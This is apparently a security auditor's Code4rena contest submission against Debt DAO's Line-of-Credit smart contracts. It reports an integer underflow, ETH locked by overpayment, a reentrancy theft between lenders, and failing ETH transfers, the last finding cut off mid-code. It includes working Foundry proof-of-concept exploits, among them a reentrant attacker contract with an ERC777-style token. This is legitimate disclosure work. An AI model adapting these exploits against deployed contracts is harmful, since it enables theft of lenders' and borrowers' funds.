Debt DAO contest - 0xdeadbeef0x's results

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L146

Vulnerability details

Impact

The impact caused by this bug spans across the entire protocol:

1. LineOfCredit bricked - lenders cannot receive funds, borrowers cannot repay lenders.(Loss of funds)
2. SpigotedLine insolvent - lenders cannot receive funds, borrowers cannot repay lenders, cannot claim/useAndRepay. (Loss of funds)
3. SecuredLine insolvent - cannot release collateral, lenders cannot receive funds, borrowers cannot repay lenders, cannot claim/useAndRepay. (Loss of funds)

This bug can be triggered by the borrower or lender as part of their normal operations.

Proof of Concept

Spigot allows anyone to call claimRevenue to escrow tokens that can be claimed by SpigotLine.

Borrowers call claimAndTrade to claim the tokens Spigot escrowed for the line and convert them if needed to the credit token (token used for the loan). The new tokens will be stored in unusedTokens[credit.token]

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L154

    function claimAndTrade(address claimToken, bytes calldata zeroExTradeData)
        external
        whileBorrowing
        nonReentrant
        returns (uint256)
    {
        require(msg.sender == borrower);

        address targetToken = credits[ids[0]].token;
        uint256 newTokens = claimToken == targetToken ?
          spigot.claimEscrow(claimToken) : // same asset. dont trade
          _claimAndTrade(                   // trade revenue token for debt obligation
              claimToken,
              targetToken,
              zeroExTradeData
          );

        // add bought tokens to unused balance
        unusedTokens[targetToken] += newTokens;
        return newTokens;
    }

In order to use the unusedTokens[credit.token] to repay the debt a lender or borrower calls useAndRepay with the amount of tokens that can be used to repay the debt. This can be retrieved by calling unused(address token).

Insufficient checks in useAndRepay function in SpigotedLine.sol allows the caller to repay more than the debt amount. Any amount in unusedTokens[credit.token] will be used to pay the debt.

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L137

    function useAndRepay(uint256 amount) external whileBorrowing returns(bool) {
      bytes32 id = ids[0];
      Credit memory credit = credits[id];
      if (msg.sender != borrower && msg.sender != credit.lender) {
        revert CallerAccessDenied();
      }
      require(amount <= unusedTokens[credit.token]);
      unusedTokens[credit.token] -= amount;

      credits[id] = _repay(_accrue(credit, id), id, amount);

      emit RevenuePayment(credit.token, amount);

      return true;
    }

_repay calls CreditLib.sol's repay function.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L168

  function repay(
    ILineOfCredit.Credit memory credit,
    bytes32 id,
    uint256 amount
  )
    external
    returns (ILineOfCredit.Credit memory)
  { unchecked {
      if (amount <= credit.interestAccrued) {
          credit.interestAccrued -= amount;
          credit.interestRepaid += amount;
          emit RepayInterest(id, amount);
          return credit;
      } else {
          uint256 interest = credit.interestAccrued;
          uint256 principalPayment = amount - interest;

          // update individual credit line denominated in token
          credit.principal -= principalPayment;
          credit.interestRepaid += interest;
          credit.interestAccrued = 0;

          emit RepayInterest(id, interest);
          emit RepayPrincipal(id, principalPayment);

          return credit;
      }
  } }

As can be seen above. The function has an unchecked statement to save gas as it trusts whatever path lead to it checked the amount - owed interest is lower than the credit.principal. credit.principal is the amount of funds the borrower still needs to pay for the loan.

In our case if unusedTokens[credit.token] has more tokens then the principle - interest, there will be an integer underflow in this line:

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L186

          // update individual credit line denominated in token
          credit.principal -= principalPayment;

The protocol would then assume the borrower has a HUGE debt.

This integer underflow has impact across the entire protocol as mentioned in the impact section. The impact is caused by an additional integer underflow caused by accruing interest. The calculations of how the protocol accrues interest can be read here: https://docs.debtdao.finance/faq/accrued-interest-calculation It is implemented in interestRateCredit.sol in _accrueInterest function.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/interest-rate/InterestRateCredit.sol#L42

    function _accrueInterest(
        bytes32 id,
        uint256 drawnBalance,
        uint256 facilityBalance
    ) internal returns (uint256) {
        Rate memory rate = rates[id];
        uint256 timespan = block.timestamp - rate.lastAccrued;
        // update last timestamp in storage
        rates[id].lastAccrued = block.timestamp;

        return (
            _calculateInterestOwed(rate.dRate, drawnBalance, timespan) +
            _calculateInterestOwed(rate.fRate, (facilityBalance - drawnBalance), timespan)
        );
        
    }

facilityBalance is the amount deposited by the lender (credit.deposit) and drawnBalance is the amount left to pay by the the borrower (credit.principle).

the statement (facilityBalance - drawnBalance) will create and underflow and revert when credit.principle is bigger then credit.deposit. Using the bug described above, we are able to underflow credit.principle and create a huge value. Therefore, this statement will always revert.

The following critical functions will have a call path to the _accrueInterest function and will revert and become un-callable because of the underflow:

1. claimAndRepay in SpigotedLine.sol
2. useAndRepay in SpigotedLine.sol
3. depositAndClose in LineOfCredit.sol
4. depositAndRepay in LineOfCredit.sol
5. withdraw in LineOfCredit.sol
6. close in LineOfCredit.sol
7. setRates in LineOfCredit.sol
8. accrueInterest in LineOfCredit.sol
9. increaseCredit in LineOfCredit.sol
10. updateOutstandingDebt in LineOfCredit.sol
11. isLiquidatable in EscrowLib.sol
12. addCollateral in EscrowLib.sol
13. releaseCollateral in EscrowLib.sol
14. _getLatestCollateralRatio in EscrowLib.sol
15. _healthcheck in EscrowedLine.sol

Links:

1. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L100
2. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L137
3. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L292
4. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L315
5. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L370
6. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388
7. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L247
8. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L200
9. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L265
10. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L163
11. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L210
12. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L87
13. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L152
14. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L34
15. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/EscrowedLine.sol#L34

The POC will demonstrate a simple scenario:

1. Borrower & Lender setup terms in SpigotedLine
2. Borrower pays almost all debt
3. claimRevenue is called on Spigot
4. Borrower calls claimAndTrade
5. Lender calls useAndRepay
6. Protocol insolvent, lender cannot withdraw/close.

Add the following import to SpigotedLine.t.sol:

import { SimpleRevenueContract } from "../mock/SimpleRevenueContract.sol";

Add the following function and test to SpigotedLine.t.sol:

    function _addNewLenderAndSpigot(address ourBorrower, uint256 lendAmount, address ourLender, SimpleRevenueContract src) internal returns (bytes32 id) {
      // Settings for Spigot. 90% Split of revenue.
      ISpigot.Setting memory setting = ISpigot.Setting({
        ownerSplit: 90,
        claimFunction: SimpleRevenueContract.claimPullPayment.selector,
        transferOwnerFunction: SimpleRevenueContract.transferOwnership.selector
      });

      // Borrower requests credit and transfers revenue contract ownership to spigot.
      vm.startPrank(ourBorrower);
      line.addCredit(dRate, fRate, lendAmount, Denominations.ETH, ourLender);
      line.addSpigot(address(src), setting);
      ISpigot newSpigot = ISpigot(line.spigot());
      src.transferOwnership(address(newSpigot));
      vm.stopPrank();

      // arbiter needs to approve the new spigot
      vm.startPrank(arbiter);
      line.addSpigot(address(src), setting);
      vm.stopPrank();

      // lender starts the loan and lends 1 ETH
      vm.startPrank(ourLender);
      bytes32 id = line.addCredit{value: lendAmount}(dRate, fRate, lendAmount, Denominations.ETH, ourLender);
      vm.stopPrank();

      return id;
    }
    function test_integer_underflow() public {
      //Initialize borrower, lenders, revenue contracts and amount
      address ourBorrower = address(0xdeadbeef);
      address lenderOne = address(0x1337);
      SimpleRevenueContract srcOne = new SimpleRevenueContract(address(ourBorrower), address(Denominations.ETH));
      uint256 lendAmount = 1 ether;
      uint256 amountToRepay = lendAmount - 10000 ;
      deal(address(ourBorrower), amountToRepay);
      //give lendesr 1 ETH
      deal(address(lenderOne), lendAmount);

      // initilize a new line
      oracle = new SimpleOracle(address(Denominations.ETH), address(Denominations.ETH));
      spigot = new Spigot(address(this), ourBorrower, ourBorrower);
      line = new SpigotedLine(
        address(oracle),
        arbiter,
        ourBorrower,
        address(spigot),
        payable(address(dex)),
        ttl,
        ownerSplit
      );
      spigot.updateOwner(address(line));
      line.init();

      // Add credit for lender and also add Revenue Contract for lender.
      bytes32 lender1Id = _addNewLenderAndSpigot(ourBorrower, lendAmount, lenderOne, srcOne);

      // borrower borrows 1 ETH for each lender
      vm.startPrank(ourBorrower);
      line.borrow(lender1Id, lendAmount);
      vm.stopPrank(); 

      //give some revenue to revenue contract
      uint256 revenueToGive = 30000;
      deal(address(srcOne), revenueToGive);

      // claim revenue from revenue contracts
      uint256 claimed = spigot.claimRevenue(address(srcOne), Denominations.ETH, abi.encodeWithSelector(SimpleRevenueContract.claimPullPayment.selector));
    
      //borrower with time repays some debt, and uses claimAndTrade to get revenue to repay debt
      vm.startPrank(ourBorrower);
      line.depositAndRepay{value: amountToRepay}(amountToRepay); // repay almost all debt
      line.claimAndTrade(Denominations.ETH,  abi.encode("no need"));
      vm.stopPrank(); 

      // Lender wants to use the claimed revenue and withdraw it.
      vm.startPrank(lenderOne);
      uint256 escrowed = line.unused(Denominations.ETH);
      line.useAndRepay(escrowed); // underflow happens here
      // Expect revert of underflow
      vm.expectRevert();
      line.withdraw(lender1Id, lendAmount);
      // Expect revert of underflow
      vm.expectRevert();
      line.close(lender1Id); 
      vm.stopPrank();
    }

To run the POC execute: forge test -v

Expected output:

[PASS] test_integer_underflow() (gas: 5437167)
Test result: ok. 1 passed; 0 failed; finished in 2.85ms

To see the underflows and full trace execute forge test -vvvv

Tools Used

VS code, Foundry

Recommended Mitigation Steps

in useAndRepay call accrue to get updated interest rate and make sure that to cap the amount sent to _repay to credit.interestAccrued + credit.principal

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L292 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L315 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L223 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L265 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L71 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388

Vulnerability details

Impact

The protocol does not refund overpayment of ETH. Excessive ETH is not included in the protocols accounting as a result the funds are permanently locked in the protocol (Loss of funds). There are multiple scenarios where excessive ETH could be sent by Borrowers and Lenders to the protocol.

The vulnerability effects at least five different scenarios and locks both the lender and borrowers ETH in LineOfCredit if overpaid. There is no way to transfer the locked ETH back to the the users, as the withdraw methods are dependent on accounting (which is not updated with locked ETH).

This vulnerability impacts EscrowedLine, LineOfCredit, SpigotedLine and SecuredLine

Proof of Concept

The bug resides in receiveTokenOrETH function when receiving ETH.

The function does not handle cases where msg.value is larger than amount meaning a refund is needed (msg.value - amount). In such cases, msg.value is added to the balance of LineOfCredit although only amount is used in internal accounting. Thus the excessive ETH is permanently locked in the contract as the withdraw methods are dependent on the internal accounting.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L59

  function receiveTokenOrETH(
      address token,
      address sender,
      uint256 amount
    )
      external
      returns (bool)
    {
        if(token == address(0)) { revert TransferFailed(); }
        if(token != Denominations.ETH) { // ERC20
            IERC20(token).safeTransferFrom(sender, address(this), amount);
        } else { // ETH
            if(msg.value < amount) { revert TransferFailed(); }
        }
        return true;
    }

Scenarios where borrowers ETH funds will be locked in LineOfCredit:

1. Borrower calls depositAndClose with an ETH value that is above the owed debt.
2. Borrower calls depositAndRepay with an ETH value that is above the amount specified in the parameters.
3. Borrower calls close with an ETH value that is above the owed fees.

Scenarios where lenders ETH funds will be locked in LineOfCredit:

1. Lender calls addCredit with and ETH value that is greater than the amount parameter.
2. Lender calls increaseCredit with and ETH value that is greater than the amount parameter.

The above scenarios will happen when:

• Excessive ETH is sent with the confidence that it will be refunded (expected). Intentionally or by mistake.
• Excessive ETH will be sent (and expected to be refunded) when calling depositeAndClose(), close(id) and depositAndRepay(amount) as they internally update the fees with the _accrue method. The amount changes every second because part of the formula that calculates the fees is based on a multiplication of seconds past the previous calculations. In most cases, the caller will not know the amount of interest that will be accrued and must send excessive ETH to not revert the transaction.
  • The formula that calculates interest: InterestAccrued = (rate.dRate * drawnBalance * timespan) / INTEREST_DENOMINATOR + (rate.fRate * (facilityBalance - drawnBalance) * timespan) / INTEREST_DENOMINATOR Where timespan is timespan= block.timestamp - rate.lastAccrued
  • Attached link to Debt DAO docs with more information: https://docs.debtdao.finance/faq/accrued-interest-calculation

The POC includes four of the mentioned scenarios. To run the POC add the below code to the LineOfCredit.t.sol test and execute forge test -v. Expected output:

Running 4 tests for contracts/tests/LineOfCredit.t.sol:LineTest
[PASS] test_freeze_eth_addCredit() (gas: 277920)
[PASS] test_freeze_eth_depositAndClose() (gas: 280378)
[PASS] test_freeze_eth_depositAndRepay() (gas: 302991)
[PASS] test_freeze_eth_increaseCredit() (gas: 318830)
Test result: ok. 4 passed; 0 failed; finished in 1.59ms

Add the following code to tests:

    function _addCreditEth(address token, uint256 amount) internal {
        vm.prank(borrower);
        line.addCredit(dRate, fRate, amount, token, lender);
        vm.stopPrank();
        vm.prank(lender);
        line.addCredit{value: amount}(dRate, fRate, amount, token, lender);
        vm.stopPrank();
    }
    function test_freeze_eth_depositAndClose() public {
        uint256 amount = 1 ether;
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

        // fund lender
        deal(lender, amount*5);
        // fund borrower
        deal(borrower, amount*5);

        // add credit to line
        _addCreditEth(eth, amount);

        //borrow 1 ether
        bytes32 id = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id, amount);
        vm.stopPrank();
        
        //depositAndClose full extra funds (amount * 2)
        vm.startPrank(borrower);
        line.depositAndClose{value:amount*2}();
        vm.stopPrank();

        //validate funds are stuck
        console.log(address(line).balance);
        assert(address(line).balance == amount*2 - amount);
    }

     function test_freeze_eth_depositAndRepay() public {
        uint256 amount = 1 ether;
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

        // fund lender
        deal(lender, amount*5);
        // fund borrower
        deal(borrower, amount*5);

        // add credit to line
        _addCreditEth(eth, amount);

        //borrow 1 ether
        bytes32 id = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id, amount);
        vm.stopPrank();
        
        //depositAndRepay full extra funds (amount * 2)
        vm.startPrank(borrower);
        line.depositAndRepay{value:amount*2}(amount);
        vm.stopPrank();


        // Lender calls withdraw 
        vm.startPrank(lender);
        line.withdraw(id, amount);
        vm.stopPrank();

        //validate funds are stuck
        assert(address(line).balance == amount*2 - amount);
    }

    function test_freeze_eth_addCredit() public {
        uint256 amount = 1 ether;
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

        // fund lender
        deal(lender, amount*5);
        // fund borrower
        deal(borrower, amount*5);

        // add credit to line
        vm.prank(borrower);
        line.addCredit(dRate, fRate, amount, eth, lender);
        vm.stopPrank();
        vm.prank(lender);
        //double msg.value then amount
        line.addCredit{value: amount*2}(dRate, fRate, amount, eth, lender);
        vm.stopPrank();

        //borrow 1 ether
        bytes32 id = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id, amount);
        vm.stopPrank();
        
        //depositAndClose full extra funds (amount)
        vm.startPrank(borrower);
        line.depositAndClose{value:amount}();
        vm.stopPrank();

        //validate funds are stuck
        assert(address(line).balance == amount*2 - amount);
    }

    function test_freeze_eth_increaseCredit() public {
        uint256 amount = 1 ether;
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

        // fund lender
        deal(lender, amount*5);
        // fund borrower
        deal(borrower, amount*5);

        // add credit to line
        _addCreditEth(eth, amount);
        
        // get id
        bytes32 id = line.ids(0);

        // increase credit to line
        vm.prank(borrower);
        line.increaseCredit(id, amount);
        vm.stopPrank();
        vm.prank(lender);
        //double msg.value then amount
        line.increaseCredit{value:amount*2}(id, amount);
        vm.stopPrank();

        //total amount * 3 in contract

        //borrow 2 ether
        vm.startPrank(borrower);
        line.borrow(id, amount * 2);
        vm.stopPrank();
        
        //depositAndClose full extra funds (amount)
        vm.startPrank(borrower);
        line.depositAndClose{value:amount*2}();
        vm.stopPrank();

        //validate funds are stuck
        assert(address(line).balance == amount*3 - amount*2);
    }

The POC demonstrates how Borrower and Lender funds get locked in the protocol.

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Options:

1. refund - in receiveTokenOrETH, refund tokens back to msg.sender if msg.value > amount
2. revert - change the expression if(msg.value < amount) to if(msg.value != amount) and revert the transaction.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L487

Vulnerability details

Impact

A reentrancy bug allows in LineOfCredit.sol allows the lender to steal other lenders tokens if they are lending the same tokens type (loss of funds).

The reentrancy occurs in the _close(credit, id) function in LineOfCredit.sol. The credit[id] state variable is cleared only after sendings tokens to the lender. https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L483

    function _close(Credit memory credit, bytes32 id) internal virtual returns (bool) {
        if(credit.principal > 0) { revert CloseFailedWithPrincipal(); }

        // return the Lender's funds that are being repaid
        if (credit.deposit + credit.interestRepaid > 0) {
            LineLib.sendOutTokenOrETH(
                credit.token,
                credit.lender,
                credit.deposit + credit.interestRepaid
            );
        }

        delete credits[id]; // gas refunds

        // remove from active list
        ids.removePosition(id);
        unchecked { --count; }

        // If all credit lines are closed the the overall Line of Credit facility is declared 'repaid'.
        if (count == 0) { _updateStatus(LineLib.STATUS.REPAID); }

        emit CloseCreditPosition(id);

        return true;
    }

Proof of Concept

Reentrancy is possible if the borrower is lending tokens that can change the control flow. Such tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions. Example of a real-world popular token that can change control flow is PNT (pNetwork). As the protocol supports any token listed on the oracle, if the oracle currently supports (or will support in the future) a feed of the above tokens, the bug is exploitable.

If a reentrancy occurs in the _close(credit, id) function, the credit[id] state variable is cleared only after sendings tokens to the lender. A lender can abuse this by reentrancy to close(id) and retrieve credit.deposit + credit.interestRepaid amount of credit.token. A lender can repeat this processes as long as LineOfCredit has funds available.

The POC will demonstrate the following flow:

1. Borrower adds a new credit with lender1 on 1000 tokens.
2. Borrower lends 1000 from lender1
3. Borrower repays debt
4. Borrower adds a new credit with lender2 on 1000 tokens
5. Borrower closes debt with lender1
6. Lender1 receives 2000 tokens.

Add the MockLender.sol to mock folder.

pragma solidity 0.8.9;

import { ILineOfCredit } from "../interfaces/ILineOfCredit.sol";
import { Token777 } from "./Token777.sol";

contract MockLender {
    address owner;
    ILineOfCredit line;
    bytes32 id;
    bool lock;
    
    event GotMoney(uint256 amount);

    constructor(address _line) public {
        line = ILineOfCredit(_line);
        owner = msg.sender;
    }

    function addCredit(
        uint128 drate,
        uint128 frate,
        uint256 amount,
        address token
    ) external {
        require(msg.sender == owner, "Only callable by owner");
        Token777(token).approve(address(line), amount);
        Token777(token).approve(address(owner), type(uint256).max);
        Token777(token).mockAddToRegistry();
        id = line.addCredit(drate, frate, amount, token, address(this));
    }
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        emit GotMoney(amount);
        if(!lock){
            lock = true;
            line.close(id);
        }
    }

    receive() external payable {
    }

}

Add Token777.sol to mocks folder:

pragma solidity 0.8.9;

import "openzeppelin/token/ERC20/ERC20.sol";
interface IERC777Recipient {
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external;
}

contract Token777 is ERC20("Token used to trade", "777") {
    mapping(address => uint256) private _balances;
    mapping(address => address) private registry;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    // ERC20-allowances
    mapping(address => mapping(address => uint256)) private _allowances;

    event Test(address);

    constructor() {
    }

    function mint(address account, uint256 amount) external returns(bool) {
        _mint(account, amount);
        return true;
    }

    function _mint(
        address account,
        uint256 amount
    ) internal virtual override{
        require(account != address(0), "ERC777: mint to the zero address");

        // Update state variables
        _totalSupply += amount;
        _balances[account] += amount;
        emit Test(account);
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 value) public virtual override returns (bool) {
        address holder = _msgSender();
        _approve(holder, spender, value);
        return true;
    }
   function _approve(
        address holder,
        address spender,
        uint256 value
    ) internal  virtual override {
        require(holder != address(0), "ERC777: approve from the zero address");
        require(spender != address(0), "ERC777: approve to the zero address");

        _allowances[holder][spender] = value;
        emit Approval(holder, spender, value);
    }
    function transferFrom(
        address holder,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        emit Test(msg.sender);
        _spendAllowance(holder, spender, amount);
        _send(holder, recipient, amount, "", "", false);
        return true;
    }

    function allowance(address holder, address spender) public view virtual override returns (uint256) {
        return _allowances[holder][spender];
    }
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal override virtual {
        emit Test(msg.sender);
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC777: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _send(_msgSender(), recipient, amount, "", "", false);
        return true;
    }

    function _send(
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) internal virtual {
        require(from != address(0), "ERC777: transfer from the zero address");
        require(to != address(0), "ERC777: transfer to the zero address");

        address operator = _msgSender();

        _move(operator, from, to, amount, userData, operatorData);

        _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
    }


    function _move(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData
    ) private {
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;
    }

    function _callTokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) private {
        address implementer = registry[to];
        if (implementer != address(0)) {
            IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
        }
    }

    function mockAddToRegistry() external {
        registry[msg.sender] = msg.sender;
    }

}

Add the following imports to LineOfCredit.t.sol:

import { MockLender } from "../mock/MockLender.sol";
import { Token777 } from "../mock/Token777.sol";

Add the following test to LineOfCredit.t.sol:

    function test_reentrancy() public {
        uint256 lenderOneAmount = 1000;
        uint256 lenderTwoAmount = 1000;
        Token777 tokenUsed = new Token777();
        // Create lenderController 
        address lenderOneController = address(0xdeadbeef);
        address lender2 = address(0x1337);

        // Create lenderContract 
        vm.startPrank(lenderOneController);
        MockLender lenderOneContract = new MockLender(address(line));
        vm.stopPrank();

        // give lenders their lend amount of token
        tokenUsed.mint(address(lenderOneContract), lenderOneAmount);
        tokenUsed.mint(address(lender2), lenderTwoAmount);

        // add support of the token to the SimpleOracle
        oracle.changePrice(address(tokenUsed), 1000 * 1e8); // 1000 USD

        // Borrowers adds credit line from lender2
        vm.startPrank(borrower);
        line.addCredit(dRate, fRate, lenderOneAmount, address(tokenUsed), address(lenderOneContract));
        vm.stopPrank();

        // LenderOne adds credit line
        vm.startPrank(lenderOneController);
        lenderOneContract.addCredit(dRate, fRate, lenderOneAmount, address(tokenUsed));
        vm.stopPrank();

        //borrow 1 ether
        bytes32 id_first = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id_first, lenderOneAmount);
        vm.stopPrank();
        
        // Borrowers adds an additional credit line from lender2
        vm.startPrank(borrower);
        line.addCredit(dRate, fRate, lenderTwoAmount, address(tokenUsed), address(lender2));
        vm.stopPrank();

        // Lender2 adds an additional credit line from  
        vm.startPrank(lender2);
        tokenUsed.approve(address(line), lenderTwoAmount);
        line.addCredit(dRate, fRate, lenderTwoAmount, address(tokenUsed),  address(lender2));
        vm.stopPrank();

        // repay all debt to lender 1
        vm.startPrank(borrower);
        tokenUsed.approve(address(line), lenderOneAmount);
        line.depositAndRepay(lenderOneAmount);
        line.close(id_first);
        vm.stopPrank();
        
        //validate that lender1 was able to steal lender2 tokens
        assert(tokenUsed.balanceOf(address(lenderOneContract)) == lenderOneAmount + lenderTwoAmount);
    }

To run the POC execute: forge test -v

Expected output:

[PASS] test_reentrancy() (gas: 1636410)
Test result: ok. 1 passed; 0 failed; finished in 1.71ms

To get full trace execute: forge test -vvvv

Tools Used

VS Code, Foundry.

Recommended Mitigation Steps

Send tokens only at the end of _close(Credit memory credit, bytes32 id) or add a reentrancyGuard.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L48

Vulnerability details

Impact

Lenders receive funds from a line by multiple scenarios using the utility sendOutTokenOrETH in LineLib.sol to transfer ETH to the lender.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L34

    function sendOutTokenOrETH(
      address token,
      address receiver,
      uint256 amount
    )
      external
      returns (bool)
    {
        if(token == address(0)) { revert TransferFailed(); }
        
        // both branches revert if call failed
        if(token!= Denominations.ETH) { // ERC20
            IERC20(token).safeTransfer(receiver, amount);
        } else { // ETH
            payable(receiver).transfer(amount);
        }
        return true;
    }

Bug: Any ETH funds sent to a receiver smart contract will revert if used to update any state variable.

These smart contracts are at risk and are very likely to be used as a lender account:

1. Multi-sig wallets - smart wallets like gnosis safe which are used to manage large amount of funds and interact with contracts. Likely that a lender will use such wallet.
2. Lender contract - can be used to interact with the lines and manage loan to multiple borrowers/lines
3. Proxy contract - any smart contract that is behind a proxy.

Essentially, the lender WILL NOT be able to receive any ETH funds from Debt DAO. Including: repaid loans, fees, collateral.

Even after borrower borrows ETH from a lender, there is NO path that funds can be returned to lender, the borrowers payed debt will be stuck in the protocol and the lender will lose his funds

Additionally, the borrower will never be able to close the credit line, and _close() method requires sending funds to the lender. This means that the credit line status will result LIQUIDATABLE although borrower could have payed of the debt. (this has implication on liquidity of collateral and sweep of spigot revenue)

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L483

    function _close(Credit memory credit, bytes32 id) internal virtual returns (bool) {
        if(credit.principal > 0) { revert CloseFailedWithPrincipal(); }

        // return the Lender's funds that are being repaid
        if (credit.deposit + credit.interestRepaid > 0) {
            LineLib.sendOutTokenOrETH(
                credit.token,
                credit.lender,
                credit.deposit + credit.interestRepaid
            );
        }

        delete credits[id]; // gas refunds

        // remove from active list
        ids.removePosition(id);

It is likely that a borrowers treasury in Spigot is also one of the above smart contract. If so, Spigot cannot claim ETH revenue from the revenue contract as claimRevenue will revert when trying to send the ETH to treasury.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/SpigotLib.sol#L83

    function claimRevenue(SpigotState storage self, address revenueContract, address token, bytes calldata data)
        external
        returns (uint256 claimed)
    {
        claimed = _claimRevenue(self, revenueContract, token, data);

        // splits revenue stream according to Spigot settings
